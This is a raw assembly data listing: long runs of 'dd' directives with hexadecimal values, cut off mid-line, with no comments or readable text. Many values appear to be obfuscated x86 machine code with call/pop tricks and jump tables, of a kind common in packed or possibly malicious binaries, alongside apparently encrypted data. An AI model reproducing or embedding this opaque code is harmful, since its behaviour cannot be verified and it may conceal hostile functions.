22858D06h, 89062E49h, 2B16B185h, 12E806h dd 0F29A0000h, 0DB564207h, 724615F4h, 365B376Ch, 0A7153756h dd 1AF18166h, 81665EC0h, 81520BD9h, 6E65C6h, 0F535000h dd 8Ah, 0BF5A5900h, 1B76h, 68B51B7h, 0C88B6660h, 9DBCBE66h dd 9CC08161h, 805BAF56h, 0F0812BE6h, 79DA36BBh, 0CE860h dd 486B0000h, 1FA41463h, 0BAD566AAh, 61604E6Dh, 0E8816158h dd 6BB254DEh, 0D5B350F8h, 0B70F068Fh, 0A0EE81DFh, 0F2ADCF6h dd 0C681D9B7h, 2ADCF69Ch, 4FCAB70Fh, 0FFA8850Fh, 7CB9FFFFh dd 60046B8Bh, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 70F1ABC3h, 562E96C6h, 59D68B66h dd 1F9BD83h, 7500062Bh, 89BD8309h, 62B16h, 53501974h, 0EB8C08Bh dd 89000004h, 2B1B8185h, 759D8D06h, 0FF062DBFh, 83585BD3h dd 2B1689BDh, 17740006h, 0EB85350h, 89000004h, 2B1B8185h dd 649D8D06h, 0FF062DBCh, 66585BD3h, 0D71CD981h, 0A4BEC08Bh dd 835EB501h, 2B328DBDh, 840F0006h, 1Ch, 0FE9h, 5808DB00h dd 8E8909DCh, 0FAE468BAh, 50BA26DEh, 308E9h, 0F78B6600h dd 6ADF8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 66E698C3h, 4C7F7h, 2DB850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0EA0CA4C3h, 0F2DFF6ACh, 83F58A9Ah, 2B0845BDh, 850F0006h dd 15h, 6E9h, 0F479A500h, 0F008B23h, 96E9D0B7h, 8B000002h dd 0E9FF2BCEh, 0Fh, 2EB3515Ah, 80DFD4D9h, 0A1ED3C3Ah, 8D842DE3h dd 2E4D629Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 12E960CCh, 0FA000000h, 4708809Dh dd 1D53E9C1h, 0FD4069EEh, 3B687724h, 3890FD5h, 80000000h dd 0E96167DAh, 7, 0E40FC85Eh, 5043EF03h, 0CE957h, 77B00000h dd 0D94750A4h, 0EF7C0383h, 895E7CC2h, 6A241Ch, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0B52F15C3h, 35FF6488h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0EDC35141h dd 0DD0EC022h, 0B94FAB25h, 0E9816036h, 32F89568h, 13E8h dd 6F0B8F00h, 63943E6Ah, 9EF59E80h, 0A1EFF150h, 9003B74Dh dd 5BFA8B66h, 10E961h, 0C8C70000h, 0A3B0E3CEh, 8E6655D5h dd 0AAB074D9h, 896421F1h, 25h, 0C48BF500h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0C7C35646h, 0B7D9A354h dd 2810FEFh, 0B6000000h, 0EB01CD1Dh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 7440AA29h dd 0C318E629h, 58F64C9h, 0 dd 0C483F18Bh, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 3F3AD5E6h, 737795D4h dd 0B352609Fh, 61FC5E33h, 840FC00Bh, 0F9h, 19830Fh, 850F0000h dd 13h, 0EE9h, 0FE06AE00h, 7AC95546h, 27C1DD12h, 6006537Ch dd 13E9h, 0DA8BED00h, 0A911ABD7h, 4687E86Ah, 2CDC8D5Ch dd 0C83AA411h, 616107B2h, 0BD8DF28Bh, 62B7186h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 77C35646h, 2390E8BDh dd 9800FC7h, 60000000h, 81665857h, 61E69FD1h, 1B8h, 0D1BF0F00h dd 0BE66E7FFh, 0FE8EDF2h, 0B5000000h, 0BB880B1Ah, 54D3EBFAh dd 8A3FB00Fh, 8B6643D2h, 8B575EF0h, 8B10245Ch, 0B883h dd 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h dd 0C3C0335Fh, 6E860h, 0CAA90000h, 50708B33h, 830Fh, 66580000h dd 615F0EB9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0C2C35545h, 14E0BC3Eh, 0C44F0063h, 0C08B61FFh dd 9E9h, 0D42A0A00h, 9561CE16h, 0BD839972h, 62B01F9h, 83097500h dd 2B1689BDh, 19740006h, 0C08B5350h, 40EB8h, 79858900h dd 8D062B34h, 2DBFDC9Dh, 5BD3FF06h, 89BD8358h, 62B16h dd 53501774h, 40EB8h, 79858900h, 8D062B34h, 2DBC7D9Dh dd 5BD3FF06h, 3EB96658h, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 544DECBEh, 6AE8D7D1h dd 8BF78B66h, 1B8D0FC0h, 0E8000000h, 13h, 2AFE0244h, 62860C00h dd 2B02ABD2h, 145B0D8Ch, 8B3D79FCh, 0C28B59D6h, 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 62B0A01h, 9D3A858Dh, 88B062Eh, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 4E728D89h, 0BD83062Eh, 62B0845h, 0F840F00h dd 60000000h, 95FF006Ah, 62B2945h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 6E85895Ah, 8B062E4Eh dd 2E4E72B5h, 10CEC106h, 2728966h, 4E72B58Bh, 8966062Eh dd 8B61FC72h, 2E4E6E85h, 958DC306h, 62B30A9h, 12019589h dd 9589062Bh, 62B2B39h, 2B3985FFh, 85C6062Bh, 62B332Dh dd 48D86853h, 0B5FFFCB1h, 62B0B1Dh, 3C25858Dh, 0D0FF062Bh dd 29458589h, 858D062Bh, 62E4679h, 28C58589h, 51E9062Bh dd 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h dd 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h dd 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h dd 8C2611Ch, 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h dd 9FD3EBAh, 0E900EB00h, 5D1h, 5C5E9h, 506B6800h, 0DE9062Eh dd 68FFFD30h, 62E51B9h, 0FD3003E9h, 523B68FFh, 0F9E9062Eh dd 68FFFD2Fh, 62E530Fh, 0FD2FEFE9h, 541F68FFh, 0E5E9062Eh dd 52FFFD2Fh, 0A4C33F09h, 0F4138FB1h, 45A25E60h, 91EE2A02h dd 0CE3BF7C9h, 0F6C88E0Bh, 4781DD3Ah, 112B2C4Bh, 0DCFA7A95h dd 0C7D57A20h, 92C58F25h, 0F004DC58h, 94EBC062h, 0EBC048E2h dd 2F325194h, 7DACB219h, 0EBC0D853h, 0C0B44294h, 0A53494EBh dd 0A494EBC0h, 0C0610B19h, 0A1494EBh, 0C07F0D83h, 106014EBh dd 596874E3h, 340AC6F9h, 0EF1723F9h, 0ABC7513Eh, 0C4F8613Ch dd 6759FC9Bh, 4F33FA84h, 0B6152F30h, 0AF383585h, 12B89C81h dd 5AFB3F3h, 0D0547BA5h, 4D62E536h, 0EA000004h, 3C5B5771h dd 8CEB2719h, 0DD3AF6C8h, 2946429Ah, 66930F31h, 0E3026B3h dd 0DFE97592h, 0A993C423h, 7452126Dh, 3F4DE2B8h, 92C5908Dh dd 816C44C0h, 0EB76E1C7h, 0EBC053DDh, 8C3E4A94h, 0C194EBC0h dd 0DFC6259h, 0C0C7527Eh, 0BBB494EBh, 4761E3C7h, 0C5E6D18h dd 0D0474D6Ch, 4A0A65D9h, 19B4E36Ch, 0DD1257D9h, 0F45B2AE3h dd 2EFDC399h, 0CE869910h, 0C4D07FE8h, 94EBC02Ah, 3BCAC35Fh dd 1B8F73E8h, 1C837F59h, 7D96D952h, 39E0Ah, 0C781D400h dd 441B76E1h, 0C08B2533h, 60FE94EBh, 525BE7C4h, 0C07C0DC3h dd 0F85794EBh, 9ADAD08Dh, 35CA4B5h, 0FC82695Bh, 8A30140Dh dd 0B574480Fh, 0D0CCEA6Ah, 4A56E50Ah, 94EB1CA0h, 0CD4445D5h dd 3EE6733Eh, 0EC9641ACh, 0E19933Dh, 750094EBh, 0EB0EC567h dd 0A2C2494h, 0BD60A9B1h, 873324Eh, 0B6D2BC6Bh, 0FC8E9A29h dd 9194EB35h, 2E8D0089h, 8C9B1729h, 96754B11h, 46FE0188h dd 70DA8B60h, 0FAB8DC4h, 0DAFC7493h, 96B0AAF1h, 35FE8C1Ah dd 4F0F94EBh, 55A59675h, 8AD0CF18h, 0DECF53B8h, 2382533h dd 64238AC6h, 5DEFFDF0h, 306D3E0Ch, 981B922Eh, 7D87C86h dd 0C4174A28h, 2FF8Dh, 21233800h, 0F1D78AE5h, 4086DA35h dd 0C282B44h, 0D9E37790h, 74E1D0DDh, 0C3DCD8E2h, 126DA99Bh dd 60BF7B4Dh, 10CAC6E0h, 9143EDFBh, 323692C5h, 0E1C7811Eh dd 9BBDB70Ah, 47B7414Ch, 0E6664D7Bh, 55095427h, 0EB4A8DA0h dd 897A376Ch, 37C7B0D8h, 6CA8C414h, 0EB0F1462h, 1F069494h dd 67F794EBh, 0B4428E5Dh, 0AB94EB7Fh, 0BBC9165Bh, 8AC646CEh dd 0A3A5BAE1h, 689A3648h, 4A283CCEh, 7D63EA39h, 0BA000002h dd 0C6BA7A1h, 5CBB7749h, 0ADCAC6F8h, 0F91692AAh, 56A35F61h dd 5E60F663h, 2F1945A2h, 0F9C394F3h, 4462E23Dh, 6F7D9248h dd 92C592DDh, 819CB4B0h, 1B76E1C7h, 94AA0143h, 3CCB8615h dd 0EBC09E10h, 0BE6FF394h, 5304E163h, 0AFFECD69h, 64DCD2B6h dd 0E4761542h, 0A989D131h, 0BBD7ED66h, 5F0B8C72h, 77D97C0h dd 1F3h, 1DAFBD48h, 7094EB2Bh, 0F511372Dh, 62F09634h, 9394EBC0h dd 0E13EFACEh, 18674478h, 5FAE7D47h, 0F5D395F0h, 98810816h dd 0B4490EA4h, 0F04F9CA6h, 0E876556Fh, 0E3F4304Ch, 7D96D987h dd 5A3Fh, 0E2719B00h, 0EBC054D6h, 0F8312994h, 2039F747h dd 2701431Ch, 0B11EBAC4h, 0C6F33AA3h, 0A7CD4D8Ah, 4A290121h dd 0A9A2A576h, 8E000001h, 0E03FFBCDh, 304F4B7Dh, 819E1A2Ch dd 0CD2AE6C6h, 0A77B395h, 0B294CA57h, 3451976h, 0CDF76887h dd 98BEB6D1h, 8391BE1Ch, 92C593E9h, 3CC0989Ch, 5E05802Fh dd 0CFD9D6Eh, 0EBC0E284h, 26386794h, 274365DFh, 84DD208Bh dd 292B4440h, 5BB08ACCh, 1340ABC7h, 37504CA9h, 85E21E22h dd 0BB06E5C3h, 0A65A1A3h, 83A87254h, 83685204h, 0F5030EFFh dd 94EBC07Bh, 94BB100Eh, 0AC5D63F9h, 0FE0A0F55h, 94EBC04Ch dd 1FD1901h, 0F37D8B16h, 8694EBC0h, 95E01198h, 3BC68566h dd 0EBC0832Dh, 97807A94h, 0B39EC24Ah, 0C8D7D648h, 6876B294h dd 94EB12DAh, 0A6BB75C5h, 953149A2h, 27E33E4Ah, 6CF28AC6h dd 8FB1A4E3h, 1B1C4540h, 3E67630Dh, 0EC08166Dh, 0D48A031Fh dd 37A0A4BBh, 0C9C00258h, 4E72E73Ah, 0A3C1E7Dh, 0C0065AA1h dd 5E78F897h, 5662ED8Dh, 6D3E67D4h, 0A578B1A9h, 0BC2B48B8h dd 135D5590h, 1CA6B873h, 505352D6h, 99430AD9h, 9E000000h dd 0F00F8BBDh, 405F5B6Dh, 91EE2A1Ch, 0DD3AF6D6h, 3A474385h dd 4284DA47h, 13352946h, 0DDE77897h, 0A88EC621h, 7381AE6Ch dd 92C594F9h, 81B0888Ch, 0B70AE1C7h, 0ED309BBDh, 26755676h dd 0CEBE0D33h, 0AFFC7357h, 4E7EE5A0h, 0CCE2A65Fh, 6176B294h dd 7D96DA05h, 1EB9h, 70F3AE00h, 0F0315554h, 94EBC061h dd 3AF6D090h, 60F37E2Dh, 7F8F89h, 128289h, 0F0740000h dd 94EBC062h, 0A724D193h, 9E96AD9Eh, 0CBCFCB67h, 9BF6865Dh dd 132FFCD8h, 2739Ah, 0E7C30000h, 3E8DC81h, 49A284BCh dd 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h dd 97744A0Eh, 0D8331548h, 0E7895708h, 46EDB951h, 0F18114DEh dd 14DE46E9h, 8359CF01h, 3C8704EFh, 89505C24h, 405E0h dd 0E8830000h, 24048704h, 241C895Ch, 81E38953h, 4C3h, 4EB8100h dd 87000000h, 895C241Ch, 5052243Ch, 1C3228B8h, 58C28961h dd 0ACC2814Ah, 89A5121Dh, 5F685AD3h, 8900002Bh, 4832424h dd 685F0424h, 1A3Dh, 89240489h, 84789D8h, 2434FF58h, 4C4815Fh dd 0FF000000h, 835B2434h, 55E904C4h, 0A1FFFD2Ah, 0DDB82632h dd 3062E54h, 0EBD18BC5h, 20h, 7 dup(0) dd 516E900h, 0AE90000h, 68000005h, 62E5707h, 0FD2A13E9h dd 57D868FFh, 9E9062Eh, 68FFFD2Ah, 62E5971h, 0FD29FFE9h dd 59D868FFh, 0F5E9062Eh, 42FFFD29h, 94F32F19h, 0E403FFC1h dd 35524E70h, 819E1A32h, 0DE2BE7D9h, 0E6D87E1Bh, 0B791CD2Ah dd 13B1C7Bh, 0CCEA6A85h, 0D7E50AD0h, 92C59555h, 71142C28h dd 6F1F2502h, 3EEF7A46h, 6C787DE3h, 94EB82C2h, 0BC0FABB7h dd 0EB828210h, 5529C814h, 4563E2A1h, 1F294544h, 0E8A7FD97h dd 0CD5A5375h, 24h, 53127109h, 1889675h, 0EBC0E28Fh, 628FFF94h dd 332B66F5h, 0FDF89811h, 908AD9ABh, 1C01128Eh, 0F1000000h dd 0EBC062F0h, 0E00D7D94h, 0AB4C6977h, 206F8AD9h, 9C6CB0E6h dd 0C5A861B1h, 81455955h, 0CA06E5DBh, 14EBC03Dh, 0C196F558h dd 0CB201A3Ch, 69921BB7h, 754B1195h, 3645B0B9h, 7C0E1AA9h dd 1114EBC0h, 63718009h, 14EBD0D5h, 0F645A6B8h, 0AD5C587Eh dd 0B9C7105Dh, 0F5392628h, 0FE709C2Bh, 93ED3F26h, 9A36084Ch dd 3D8E9013h, 3F2601AFh, 0D6AA4BEDh, 6BC3BEA8h, 7B66F7h dd 6F600000h, 7B4D111Fh, 33418E90h, 94EBC0B9h, 0A93652CCh dd 0E3C57F1Ah, 929DA62Ah, 6EF08AD9h, 4ABFA2E1h, 45D53610h dd 4DBCC229h, 788DC7C2h, 3B60D68Ah, 4A46E2F5h, 0E70D2B2Dh dd 4A2CCD3Dh, 906499Ah, 86000003h, 0D837F3D5h, 28474385h dd 79961234h, 0C522DEFEh, 26FAB9Dh, 0AA9CC25Fh, 7B4D116Eh dd 0C5FF60BFh, 90B6AEC9h, 9BA94614h, 92C59711h, 75C8E064h dd 2D4h, 0D6DB816Dh, 0EBC020CAh, 7AC55594h, 0E8003D22h dd 0F2D975EFh, 0EB4530DEh, 12523194h, 8D5E62F7h, 385851EDh dd 94EB452Ah, 0EB4501AAh, 450B9994h, 0FD8B94EBh, 0FC94EB45h dd 657C25B1h, 0D2DB416Ah, 0EBC110BEh, 0B2BF0F54h, 0CCF26625h dd 0F8A732DDh, 779F1FB1h, 0D38BE4A1h, 85041AF1h, 0D905780Bh dd 0C4130FCAh, 19812B39h, 0E968AD39h, 0BB72ECCFh, 0E60B7BE8h dd 1471A79h, 0FA1594AAh, 14012FEEh, 0E86F2AB3h, 0FB56D5D4h dd 4C1143EDh, 8C2836A7h, 5608C866h, 89C01310h, 238h, 0C4C00459h dd 1490B4ABh, 0A76365FBh, 0F32F0948h, 3CF8C294h, 0CD950EF1h dd 7AE03FFBh, 2E334C48h, 0C7819E1Ah, 0D87725E1h, 0C59722CCh dd 0F9D15792h, 0AE1C781h, 22CF5847h, 0A6C69575h, 6986F667h dd 15B7D2FEh, 40DE8AD9h, 9EBCDB44h, 0F23B47A4h, 1B97A9AFh dd 0F1D7910Ch, 7A85041Ah, 5A0BE0E6h, 4E5A85EAh, 730BC32Bh dd 0CED8D44Ah, 674FD320h, 0E4869221h, 5674FD3h, 0F8866543h dd 0A4B01F03h, 674FD30Ah, 392AE37Fh, 0E21877C9h, 9FE0FED6h dd 0BA49D403h, 4FE31CAEh, 20E97167h, 7D888D90h, 0FAADE079h dd 7021482Eh, 5837A03Ch, 6167FD18h, 0B6AEC9C5h, 17953B90h dd 16799ED5h, 0C0ECF97Bh, 799ED52Eh, 48A33F23h, 6B524936h dd 0FB672218h, 0BCB10132h, 0B1EC0513h, 0FF6367ACh, 15333550h dd 0D3C67E99h, 0B19FA1B4h, 73AD043Fh, 5BB0CC52h, 0AD04F775h dd 5B98E873h, 6FD9E00Ch, 0AAB46D9Fh, 0CEA34E3Dh, 0D5332C59h dd 5D528F6Ah, 0C5C4102Bh, 33154F4Ah, 3DD898F7h, 0BAC42721h dd 3080CD1Eh, 6D8894C3h, 0E06BC158h, 0BBA2D17Eh, 1DCE99D7h dd 785375ECh, 0B0434AE6h, 1178E1Ch, 493DC44Eh, 81B1511Dh dd 0CF558h, 0F0D10000h, 94EBE362h, 767h, 62F05300h, 0E894EBE6h dd 85D21F6Fh, 0D9AB1A77h, 772A598Ah, 0E2F2D5E5h, 346B0A83h dd 213D1A3Ch, 1EBAC427h, 6043C2B1h, 0A678101h, 0F343F083h dd 7E4351FEh, 91731773h, 4ED57B89h, 0D90A5057h, 9F76h dd 596BF000h, 291F425Dh, 0F8CE92EDh, 4460E33Ch, 112B2F48h dd 2CA96895h, 7B94102Ah, 0CA25E1E3h, 1877B395h, 0D8827E58h dd 998B2533h, 7AFE92C5h, 0D6E27166h, 94EBC054h, 47F83129h dd 232539F7h, 0CD1AB6C8h, 0D9ABE2BFh, 0E26DED8Ah, 89B3A7h dd 370C08Dh, 562DC8D4h, 3E207317h, 57542EB4h, 0CB825150h dd 38h, 0C4C00459h, 1490B4ABh, 0A76365FBh, 0F32F0948h dd 3CF8C294h, 0CD950EF1h, 7AE03FFBh, 2E334C48h, 0C7819E1Ah dd 0D87725E1h, 0C59922CCh, 0F9D15792h, 375h, 7A5E6D00h dd 3E8DC81h, 49A284BCh, 705B6DF2h, 0B417312Dh, 0FCCFF169h dd 2487B9A1h, 6DBE9ED9h, 97744A0Eh, 0D8331548h, 0E1895108h dd 4C181h, 0E9830000h, 240C8704h, 2434895Ch, 2B0468h, 242C8900h dd 26C968h, 24148900h, 3C6BBE56h, 0A8684BC4h, 5D4DEA69h dd 835EF531h, 248904ECh, 24048124h, 4, 4EC815Ah, 89000000h dd 428F242Ch, 24148B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 5D2434FFh, 4C481h, 15E90000h, 7FFFD25h, 5A35B8DFh, 0C503062Eh dd 0BE8C88Bh, 75000000h, 53321C65h, 6C210EFCh, 0E3B0D20Ch dd 0CE95Fh, 67F90000h, 6E19C58Dh, 555CAEFFh, 0C78106E7h dd 6599h, 6E9h, 0A5DC9400h, 0BA245E66h, 1933h, 0FFF78B66h dd 14E937h, 0D4750000h, 7826FCABh, 0C0C2CB66h, 98E336EEh dd 64DB6648h, 8159E25Dh, 67A06CF1h, 47BB667Ah, 0DCE981FFh dd 81687C21h, 907DABCEh, 1DE98139h, 51467A50h, 810Fh, 78F0000h dd 830DD880h, 0DA8B01EFh, 504F4F4Fh, 5890Fh, 4AB80000h dd 584E05DFh, 1EA81h, 850F0000h, 27h, 0FE9h, 1996CB00h dd 0A2F54A19h, 3FD91B47h, 15EAC77Dh, 1BE9h, 0DF13CA00h dd 289A9349h, 9EA5C46Dh, 0F21AAC0h, 6CE9D8BFh, 95FFFFFFh dd 508F5D0Bh, 161E9h, 420C0900h, 95ECE734h, 715893DAh dd 0B6CFDF06h, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 46BF009Ch dd 90ADFC6Ch, 0A3365973h, 72E275D6h, 90BD9Ch, 8CE693DDh dd 0A592A79Bh, 0A7ABDD64h, 918F9792h, 0F95CFC7Ah, 0B1E496B9h dd 47E4B59Bh, 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h dd 97BF999Ch, 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh, 0E594A6E3h dd 0C3B5D4h, 622D4457h, 0AE29B0F3h, 38h, 3Ch, 40h, 2 dup(0) dd 4, 94h, 5, 1, 0A28h, 2, 29h dup(0) dd 25E90000h, 68000020h, 62E5F07h, 0FD22BFE9h, 602268FFh dd 0B5E9062Eh, 68FFFD22h, 62E60D9h, 0FD22ABE9h, 61B968FFh dd 0A1E9062Eh, 68FFFD22h, 62E62CEh, 0FD2297E9h, 638B68FFh dd 8DE9062Eh, 68FFFD22h, 62E6463h, 0FD2283E9h, 64F168FFh dd 79E9062Eh, 68FFFD22h, 62E6883h, 0FD226FE9h, 690768FFh dd 65E9062Eh, 68FFFD22h, 62E6A28h, 0FD225BE9h, 6D3668FFh dd 51E9062Eh, 68FFFD22h, 62E70C7h, 0FD2247E9h, 744F68FFh dd 3DE9062Eh, 68FFFD22h, 62E75B7h, 0FD2233E9h, 761868FFh dd 29E9062Eh, 68FFFD22h, 62E7673h, 0FD221FE9h, 76DC68FFh dd 15E9062Eh, 68FFFD22h, 62E789Fh, 0FD220BE9h, 797568FFh dd 1E9062Eh, 68FFFD22h, 62E7B9Eh, 0FD21F7E9h, 291B40FFh dd 0F9CF92EDh, 487EE23Dh, 1430334Ch, 0E1DB7F98h, 7C19D825h dd 0CB24E0DAh, 1A75B193h, 68870345h, 8D2CEE8h, 9D5BD5E3h dd 2A2E92C5h, 6046FE9Dh, 0C7812DA9h, 0BDB70AE1h, 9EEE1F9Bh dd 67FA0651h, 3E8AC6DEh, 1C28B720h, 6D3F3E92h, 391C7BE7h dd 0D9F78607h, 6D3F3E4Bh, 4AA1A7BAh, 73587CF7h, 0A0473B20h dd 0D501C57Ch, 776BDB99h, 3C065837h, 4E38CDh, 6F9A0000h dd 59D3E11Fh, 4094EBC0h, 0EBC0BA34h, 6853CF94h, 0FF0D5AF6h dd 8AC6EACAh, 3C025685h, 0F7854BA0h, 0BD6D3F29h, 7F1AC084h dd 0B70AE1DBh, 334F9CA0h, 0F7731697h, 0AF776BC2h, 0DEh dd 8962E5A0h, 21CEFD1h, 0BFB605E6h, 0E8C7D99h, 0AE1C781h dd 3299A3B7h, 785375EFh, 99BFB6D5h, 71571110h, 90B4ABE6h dd 0C0B73947h, 54CA94EBh, 8CFFE955h, 5F94EBDCh, 0F50E10E5h dd 960AEF34h, 0E761BE7Ah, 979EAC1h, 381C7BE4h, 1495A506h dd 1FC2EFFDh, 0ADAD7539h, 6B88F871h, 0DFCDD0FCh, 0D1CC730Dh dd 0A51BA8Ah, 0D6D77355h, 19CCB57h, 0A8A76646h, 575375EDh dd 12F2638h, 674CDE6Fh, 52E07CE2h, 5056C43Eh, 4C6FE635h dd 8600001Dh, 0D837F3D5h, 28474385h, 79961234h, 0C522DEFEh dd 26FAB9Dh, 0AA9CC25Fh, 7B4D116Eh, 0C5FF60BFh, 90B6AEC9h dd 9BA94614h, 92C59F11h, 81C8E064h, 857D34D9h, 8B51DB33h dd 41AF1D3h, 37504CE8h, 709F1B3Dh, 0B155D7E5h, 362894EBh dd 1F6FD3F7h, 0DD617D01h, 94308247h, 94343D4Bh, 0D74B8AC6h dd 0A84AD8F4h, 0E7006D3Eh, 3893B5A8h, 2F8B5926h, 0F6634DA7h dd 0C3A0E37h, 776BF662h, 4B133560h, 592187Fh, 0D9F784h dd 81D30000h, 0EB76E1C7h, 0EBC053DDh, 9CBABA94h, 95C8334Fh dd 0F13F8CCh, 146B3AF3h, 0BC937842h, 6A4167E1h, 0F0BBD5D4h dd 9B94EBDCh, 3550FFD9h, 0A2CE192Fh, 6B143C08h, 762CDD7Dh dd 9CAA5F19h, 0D061A68Bh, 18379430h, 2CCD7F8Dh, 9E806B14h dd 618EFE6Fh, 81C39BF6h, 7A95142Ah, 3909436Eh, 0F02C3275h dd 0F292867h, 0D01D6D9Eh, 0D5177987h, 0F72A730Dh, 0EE705B7Dh dd 0D0860552h, 8DD532EEh, 9E2E478h, 53AFD571h, 345056CCh dd 1C316CE7h, 0BAA30000h, 6EF5128Eh, 1F45A25Eh, 0D392ED29h dd 78DE39F5h, 783F4A46h, 45417BDFh, 9A16302Ah, 24E0E47Dh dd 73AF89CBh, 0F47682A9h, 8992C5A0h, 0D981B78Bh, 613C2BE7h dd 5EE0CBFDh, 361050AFh, 0EB3E6DFAh, 0E0F961ACh, 71EFEB22h dd 0E409A602h, 3CED9030h, 0CE8663E5h, 207F4CE8h, 0A28A0620h dd 300070C3h, 0A8B6152Fh, 10B5C30Ch, 378AC648h, 56E0EC2Bh dd 49A8AC23h, 2C6BF4F9h, 0A5B51628h, 16DFED64h, 39B781F6h dd 2999CA21h, 0C08D9BC4h, 77BDDA9Ch, 0B2D17CEBh, 29319AACh dd 81A7A1E0h, 8A8A2B56h, 2A7CE3E0h, 60E03FE3h, 0DCF03C46h dd 6CBF130Dh, 1B7AE5h, 0C1035800h, 91B7AAC5h, 6066FA15h dd 2C084BA4h, 0F9C397F0h, 9401F03Dh, 0E33CF8C2h, 324D497Bh dd 809F1B2Dh, 702AE6C0h, 0A023CDDBh, 0D25692C5h, 0E1C781FEh dd 0EC58470Ah, 0D545A85h, 0EB5BCC3Dh, 0D24B5986h, 0E58AC69Fh dd 0FFB03A46h, 55C56D3Eh, 0C752FD39h, 3EFF37B9h, 8BD44A6Dh dd 3EFFF37Dh, 1198866Dh, 67D724C1h, 534EDD0Ah, 76F80411h dd 0B6D3EFFh, 2B8CFB17h, 823C69BBh, 9CCC4C5h, 507313F7h dd 0B2192F35h, 0FAD1EB6Fh, 22C1C864h, 0DED5C33Ch, 0DFBFF6E5h dd 0C7D5026Fh, 0A13E3D1Eh, 56682E5Dh, 91C6A8EAh, 0FA6E68A6h dd 0D7D67A27h, 74E1CA54h, 2560EF04h, 739E0F39h, 0BA1E865h dd 54839FAFh, 0CE193F39h, 299B1523h, 70EE8B4Ah, 0AAAAC5B9h dd 0F830668Ch, 38EB245Bh, 1A9A11h, 21233800h, 0F1D78AE5h dd 4086DA35h, 0C282B44h, 0D9E37790h, 74E1D0DDh, 0C3DCD8E2h dd 126DA99Bh, 60BF7B4Dh, 10CAC6E0h, 0A143EDFBh, 323692C5h dd 22C7811Eh, 0B197CD38h, 43A8C45Ah, 1B48A33Fh, 8B9395ABh dd 0D1AC4CBFh, 0F56F2AB5h, 2937DAD3h, 8AC6DF34h, 73DBD74Bh dd 0CF249485h, 0C396F580h, 99102EFDh, 12725EF7h, 0FE69F173h dd 36B8C453h, 4B67420Bh, 0B6709D7h, 6A766742h, 67420BC0h dd 0C856A5B5h, 36721EC1h, 2DC2EDC3h, 0B84790DDh, 0D36D1F2Dh dd 0ADE0C3EAh, 493AF030h, 0EB54F0ADh, 731D2445h, 636D9C0Fh dd 0DDC71FF2h, 0AC5E6AF9h, 0A1C43D7Fh, 6EAD70B9h, 0A8F7D4EAh dd 213992B4h, 0CF826985h, 7F9A1420h, 73EFC43Dh, 0F73989BAh dd 218C5F61h, 0F5321830h, 0D4708C56h, 92AD1C8Bh, 879C8EE3h dd 50FD0B06h, 0E7DA10E3h, 5241EC7Bh, 2D35EB27h, 0C1AEB01Bh dd 723DAC54h, 0BD27935Dh, 3847465Fh, 85E21E38h, 615FE5C3h dd 0C6F9524Ch, 19853215h, 0E4F0000h, 0BAA1FE3Ah, 6BF10E8Ah dd 73E5955h, 0D48AE521h, 14CB36F2h, 31EDD78Bh, 464284D6h dd 900C3029h, 0DFDBFD77h, 28C2EE7Dh, 5D92C5A2h, 12710327h dd 6CB37A4Ch, 52F9D2F4h, 0C037B9C7h, 0D44A94EBh, 39B7316Bh dd 0CBC2FC59h, 5A85EA5Ah, 0C6CC434Eh, 0DD831E8Ah, 0BF0C3628h dd 9AA407A3h, 128E9013h, 0EDD38605h, 0F75A2A3Ch, 0DFCC698h dd 1847AC1Ch, 1383490Ch, 0A562FC73h, 87D1D337h, 0C3308061h dd 0F0DD8894h, 0EE707CA1h, 93E0501Dh, 85DAB944h, 18D56290h dd 0C35FABB6h, 395756E8h, 7AFADD94h, 6D28B7ABh, 0B6D1CDEBh dd 0C1035BBEh, 8A3854EAh, 59ECC498h, 0C851F82Bh, 0A000018h dd 5CBB7751h, 0ACCBC7F9h, 0FD1A96A8h, 49A6627Ah, 86F32F11h dd 2E1046D3h, 0FFC995F2h, 4973E403h, 1432324Dh, 1F2DC298h dd 92C5A36Dh, 814C64E0h, 470AE1C7h, 6BF31248h, 5BCC3D59h dd 4B5986EBh, 8AC6FAEAh, 0A9817D1Dh, 0E20F7FCCh, 56EE6775h dd 2A617312h, 82D4BDA6h, 3D3ACFB8h, 6470AFCBh, 0CB0D6C95h dd 64F63A8Ah, 2586A6A1h, 0F25DF915h, 26797FE6h, 381F7AD5h dd 129BA704h, 0F3C8F93h, 1BC61BFh, 2388AEA6h, 5FB0501Fh dd 0E1A8426Eh, 0BDDDCD5Eh, 3F5A8521h, 0BBC72418h, 1CB1DF72h dd 